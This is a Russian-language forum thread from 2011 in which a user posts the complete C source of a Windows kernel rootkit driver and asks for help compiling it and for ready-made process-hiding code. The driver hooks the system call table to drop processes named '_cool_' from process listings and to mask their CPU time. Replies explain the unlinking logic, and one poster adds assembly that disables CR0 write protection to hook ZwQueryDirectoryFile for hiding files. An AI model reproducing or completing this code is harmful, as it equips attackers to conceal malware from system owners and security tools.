Прошу помочь по компиляции

Тема в разделе "WASM.NT.KERNEL", создана пользователем seeerg, 25 янв 2011.

  1. seeerg

    seeerg New Member

    Публикаций:
    0
    Регистрация:
    25 янв 2011
    Сообщения:
    5
    Код (Text):
    1. // BASIC ROOTKIT that hides processes
    2. // ----------------------------------------------------------
    3. // v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
    4. // v0.3 - Added defines to compile on W2K, and comments.  Rich
    5. // v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.
    6. //        Added code to hide process times of the _root_*'s. Creative
    7. // v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org)
    8. // v1.0 - Trimmed code back to a process hider for the book.
    9.  
    10. #include "ntddk.h"
    11.  
    12. #pragma pack(1)
    13. typedef struct ServiceDescriptorEntry {
    14.         unsigned int *ServiceTableBase;
    15.         unsigned int *ServiceCounterTableBase; //Used only in checked build
    16.         unsigned int NumberOfServices;
    17.         unsigned char *ParamTableBase;
    18. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    19. #pragma pack()
    20.  
    21. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    22. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
    23.  
    24.  
    25. PMDL  g_pmdlSystemCall;
    26. PVOID *MappedSystemCallTable;
    27. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
    28. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
    29.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    30.  
    31. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
    32.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    33.  
    34.  
    35. struct _SYSTEM_THREADS
    36. {
    37.         LARGE_INTEGER           KernelTime;
    38.         LARGE_INTEGER           UserTime;
    39.         LARGE_INTEGER           CreateTime;
    40.         ULONG                           WaitTime;
    41.         PVOID                           StartAddress;
    42.         CLIENT_ID                       ClientIs;
    43.         KPRIORITY                       Priority;
    44.         KPRIORITY                       BasePriority;
    45.         ULONG                           ContextSwitchCount;
    46.         ULONG                           ThreadState;
    47.         KWAIT_REASON            WaitReason;
    48. };
    49.  
    50. struct _SYSTEM_PROCESSES
    51. {
    52.         ULONG                           NextEntryDelta;
    53.         ULONG                           ThreadCount;
    54.         ULONG                           Reserved[6];
    55.         LARGE_INTEGER           CreateTime;
    56.         LARGE_INTEGER           UserTime;
    57.         LARGE_INTEGER           KernelTime;
    58.         UNICODE_STRING          ProcessName;
    59.         KPRIORITY                       BasePriority;
    60.         ULONG                           ProcessId;
    61.         ULONG                           InheritedFromProcessId;
    62.         ULONG                           HandleCount;
    63.         ULONG                           Reserved2[2];
    64.         VM_COUNTERS                     VmCounters;
    65.         IO_COUNTERS                     IoCounters; //windows 2000 only
    66.         struct _SYSTEM_THREADS          Threads[1];
    67. };
    68.  
    69. // Added by Creative of rootkit.com
    70. struct _SYSTEM_PROCESSOR_TIMES
    71. {
    72.         LARGE_INTEGER                   IdleTime;
    73.         LARGE_INTEGER                   KernelTime;
    74.         LARGE_INTEGER                   UserTime;
    75.         LARGE_INTEGER                   DpcTime;
    76.         LARGE_INTEGER                   InterruptTime;
    77.         ULONG                           InterruptCount;
    78. };
    79.  
    80.  
    81. NTSYSAPI
    82. NTSTATUS
    83. NTAPI ZwQuerySystemInformation(
    84.             IN ULONG SystemInformationClass,
    85.                         IN PVOID SystemInformation,
    86.                         IN ULONG SystemInformationLength,
    87.                         OUT PULONG ReturnLength);
    88.  
    89.  
    90. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    91.             ULONG SystemInformationCLass,
    92.                         PVOID SystemInformation,
    93.                         ULONG SystemInformationLength,
    94.                         PULONG ReturnLength
    95. );
    96.  
    97. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
    98.  
    99. // Added by Creative of rootkit.com
    100. LARGE_INTEGER                   m_UserTime;
    101. LARGE_INTEGER                   m_KernelTime;
    102.  
    103. ///////////////////////////////////////////////////////////////////////
    104. // NewZwQuerySystemInformation function
    105. //
    106. // ZwQuerySystemInformation() returns a linked list of processes.
    107. // The function below imitates it, except it removes from the list any
    108. // process who's name begins with "_root_".
    109.  
    110. NTSTATUS NewZwQuerySystemInformation(
    111.             IN ULONG SystemInformationClass,
    112.             IN PVOID SystemInformation,
    113.             IN ULONG SystemInformationLength,
    114.             OUT PULONG ReturnLength)
    115. {
    116.  
    117.    NTSTATUS ntStatus;
    118.  
    119.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    120.                     SystemInformationClass,
    121.                     SystemInformation,
    122.                     SystemInformationLength,
    123.                     ReturnLength );
    124.  
    125.    if( NT_SUCCESS(ntStatus)) // Если rc успешен %)
    126.    {
    127.       // Asking for a file and directory listing
    128.       if(SystemInformationClass == 5)               // если 5 равен ХЗ чему , нашёл где то что SystemInformationClass это
    129.                                                     // The type of system information to be queried.The permitted values are a subset of
    130.                                                     // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :)
    131.       {
    132.          // This is a query for the process list.
    133.          // Look for process names that start with
    134.          // '_root_' and filter them out.
    135.                    
    136.          struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;    // а я то думал копибара та структура в начале кода
    137.          struct _SYSTEM_PROCESSES *prev = NULL;                                             // вторая....
    138.          
    139.          while(curr)                                                                        // пока есть кур... есть кур ? кушать куриц ? :)
    140.          {
    141.             //DbgPrint("Current item is %x\n", curr);
    142.             if (curr->ProcessName.Buffer != NULL)
    143.             {
    144.                 if(0 == memcmp(curr->ProcessName.Buffer, L"_cool_", 12))// Если в название процесса = _cool_ (если memcmp вернёт 0)
    145.                 {
    146.                     m_UserTime.QuadPart += curr->UserTime.QuadPart;
    147.                     m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
    148.  
    149.                     if(prev) // Middle or Last entry
    150.                     {
    151.                         if(curr->NextEntryDelta)
    152.                             prev->NextEntryDelta += curr->NextEntryDelta;
    153.                         else    // we are last, so make prev the end
    154.                             prev->NextEntryDelta = 0;
    155.                     }
    156.                     else
    157.                     {
    158.                         if(curr->NextEntryDelta)
    159.                         {
    160.                             // we are first in the list, so move it forward
    161.                             (char *)SystemInformation += curr->NextEntryDelta;
    162.                         }
    163.                         else // we are the only process!
    164.                             SystemInformation = NULL;
    165.                     }
    166.                 }
    167.             }
    168.             else // This is the entry for the Idle process
    169.             {
    170.                // Add the kernel and user times of _root_*
    171.                // processes to the Idle process.
    172.                curr->UserTime.QuadPart += m_UserTime.QuadPart;
    173.                curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
    174.  
    175.                // Reset the timers for next time we filter
    176.                m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    177.             }
    178.             prev = curr;
    179.             if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    180.             else curr = NULL;
    181.          }
    182.       }
    183.       else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    184.       {
    185.          struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
    186.          times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    187.       }
    188.  
    189.    }
    190.    return ntStatus;
    191. }
    192.  
    193.  
    194. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
    195. {
    196.    DbgPrint("ROOTKIT: OnUnload called\n");
    197.  
    198.    // unhook system calls
    199.    UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
    200.  
    201.    // Unlock and Free MDL
    202.    if(g_pmdlSystemCall)
    203.    {
    204.       MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    205.       IoFreeMdl(g_pmdlSystemCall);
    206.    }
    207. }
    208.  
    209.  
    210. NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
    211.                      IN PUNICODE_STRING theRegistryPath)
    212. {
    213.    // Register a dispatch function for Unload
    214.    theDriverObject->DriverUnload  = OnUnload;
    215.  
    216.    // Initialize global times to zero
    217.    // These variables will account for the
    218.    // missing time our hidden processes are
    219.    // using.
    220.    m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    221.  
    222.    // save old system call locations
    223.    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
    224.  
    225.    // Map the memory into our domain so we can change the permissions on the MDL
    226.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
    227.    if(!g_pmdlSystemCall)
    228.       return STATUS_UNSUCCESSFUL;
    229.  
    230.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
    231.  
    232.    // Change the flags of the MDL
    233.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
    234.  
    235.    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
    236.  
    237.    // hook system calls
    238.    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
    239.                              
    240.    return STATUS_SUCCESS;
    241. }
    Ни в какую не пойму (как и компиляторы тоже)
    выражения из данного кода вида:
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); тут ("PVOID" в "PVOID *")
    у кого может готовый кодес есть для сокрытия процессов для MSVS на сях?
    Я в сях не совсем дуб, но разобраться вот не могу.... :dntknw:
     
  2. jabocrack

    jabocrack New Member

    Публикаций:
    0
    Регистрация:
    27 мар 2010
    Сообщения:
    96
    Хм. Весьма читабельный код.
    Tе нужен DDK + не слишком заумная книжка по созданию драйверов под WIndows + MSVC 2010 EE.
     
  3. AndjellaArtavazdovna

    AndjellaArtavazdovna New Member

    Публикаций:
    0
    Регистрация:
    3 дек 2010
    Сообщения:
    615
    seeerg
    Есть книга неплохая,именно по руткитам - "Руткиты под Windows",Автор - Колисниченко. Там кажется в 6 главе сокрытие
    процессов очень хорошо разжевано. Весь код в топике естественно не объяснишь,но вот эти выражения
    Код (Text):
    1. if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    2. if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    как раз и скрывают указанный процесс в списке процессов от других программ. Почитай MSDN NtQuerySystemInformation .
    Add:
    Коментарии прикольные
     
  4. red_mould

    red_mould New Member

    Публикаций:
    0
    Регистрация:
    9 янв 2010
    Сообщения:
    34
    seeerg
    по поводу
    Это делается для того чтобы поставить свои хуки. В данном случае на ZwQuerySystemInformation. Как по мне это немного не удобный способ. Сырки на подобии только использованные для сокрытия файлов скину позжее. Если найду. Где-то были
     
  5. jabocrack

    jabocrack New Member

    Публикаций:
    0
    Регистрация:
    27 мар 2010
    Сообщения:
    96
    Если проходить по коду, там даже знания по написанию руткитов , драйверов не нужно.
    Перехватчик функции NewZwQuerySystemInformation сначала вызывает ориг. системный сервис. После обрабатывает 2 запроса:
    5 - на предоставление списка процессов.
    здесь он удаляет из списка инфо об скрываемом процессе. заодно скидывает время, отработанное этим процессом на показатели простоя(чтоб кредит с дебетом совпадал)
    8 - запрос инфо об простое процессора и скока времени он отработал.
    здесь тоже скидывает.
    Ост функции инициализация и чистка за собой.
     
  6. red_mould

    red_mould New Member

    Публикаций:
    0
    Регистрация:
    9 янв 2010
    Сообщения:
    34
    Ну и т.к. кусочек кода ценится больше нежели тонна пояснений то вот как я эту батву реализовывал
    Код (Text):
    1.    index_ZwQueryDirectoryFile = SYSCALL_INDEX(ZwQueryDirectoryFile);  
    2.    oldZwQueryDirectoryFile = (ZwQueryDirectoryFileS)NTCALL(index_ZwQueryDirectoryFile);
    3.    __asm
    4.    {
    5.       cli                     // Disallow interrupts
    6.       mov eax, cr0
    7.       mov CR0_value,eax
    8.       and eax,0xFFFEFFFF     // throw down WP bit
    9.       mov cr0, eax
    10.    }
    11.  
    12.    NTCALL(index_ZwQueryDirectoryFile) = (NTPROC)(GetDelta()+ (DWORD)NewZwQueryDirectoryFile);
    13.  
    14.    __asm
    15.    {
    16.       mov eax, CR0_value    
    17.       mov cr0, eax            // востановить содержимое CR0
    18.       sti                     // разрешаем прерывания
    19.    }
    В общем в двух словах. Прежде всего получаем индекс нужной ф-и в таблице SSDT.

    Асмовские инструкции сперва сбрасывают WP бит который собственно снимает ограничение read_only с памяти. В связи с чем можно тудой что-то писать(а именно хукать таблицу SSDT). И только после этого устанавливаем свой обработчик на нужную функцию. А точнее его адрес. Ну и востанавливаем WP бит в исходное значение... После чего все приложухи будут юзать наш обработчик. Ну и при выгрузке дровера надо вернуть все на место. А именно
    Код (Text):
    1.    index_ZwQueryDirectoryFile = SYSCALL_INDEX(ZwQueryDirectoryFile);
    2.    __asm
    3.    {
    4.       cli                     // Disallow interrupts
    5.       mov eax, cr0
    6.       mov CR0_value,eax
    7.       and eax,0xFFFEFFFF     // throw down WP bit
    8.       mov cr0, eax
    9.    }
    10.    //Unhook functions ZwQueryDirectoryFile
    11.    NTCALL(index_ZwQueryDirectoryFile) = (NTPROC)oldZwQueryDirectoryFile;
    12.  
    13.    __asm
    14.    {
    15.       mov eax, CR0_value    
    16.       mov cr0, eax            // востановить содержимое CR0
    17.       sti                     // разрешаем прерывания
    18.    }
    Ну а в обработчике своем первым делом надо вызывать оригинальную ф-ю а потом полученные данные уже фильтровать или делать с ними что хочешь... В твоем случае надо пробигаться по цепочке структур, проверять начало имени например. И если начало совпадают то ты предыдущую структуру связываешь со следующей... По русски опдсовываешь другой указатель. И говоришь что структуры с именем интересующем тебя просто нет. Ну и время распределяешь соответственно. Т.е. в твоем слуае как сказали выше этим занимаются строки
    Код (Text):
    1. if(prev) // Middle or Last entry
    2.                     {
    3.                         if(curr->NextEntryDelta)
    4.                             prev->NextEntryDelta += curr->NextEntryDelta;
    5.                         else    // we are last, so make prev the end
    6.                             prev->NextEntryDelta = 0;
    7.                     }
    8.                     else
    9.                     {
    10.                         if(curr->NextEntryDelta)
    11.                         {
    12.                             // we are first in the list, so move it forward
    13.                             (char *)SystemInformation += curr->NextEntryDelta;
    14.                         }
    15.                         else // we are the only process!
    16.                             SystemInformation = NULL;
    17.                     }
    Ну и касательно коментариев.
    Смотри великий и могучий МСДН на тему ZwQuerySystemInformation. Там в принципе все написано...
    Примерно так.